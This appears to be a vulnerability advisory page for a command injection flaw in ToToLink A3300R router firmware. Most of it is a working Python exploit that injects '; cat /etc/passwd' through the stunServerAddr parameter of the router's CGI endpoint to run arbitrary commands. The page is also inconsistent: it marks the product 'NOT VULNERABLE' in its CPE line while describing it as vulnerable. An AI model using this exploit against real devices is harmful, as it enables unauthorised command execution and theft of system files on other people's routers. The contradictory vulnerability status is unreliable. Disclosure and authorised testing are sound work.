An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stunServerAddr parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit(target_ip):
target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi"
# Payload to inject commands. Example: cat /etc/passwd
# Using a semicolon to bypass the original command and execute a new one.
payload = "; cat /etc/passwd"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
# Data structure based on typical CGI requests in IoT devices
data = {
"topicurl": "setStunCfg",
"stunServerAddr": payload
}
try:
print(f"[*] Sending payload to {target_url}...")
response = requests.post(target_url, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Response content:")
print(response.text)
else:
print(f"[-] Failed to send request. Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Replace with the actual target IP address
target = "192.168.0.1"
exploit(target)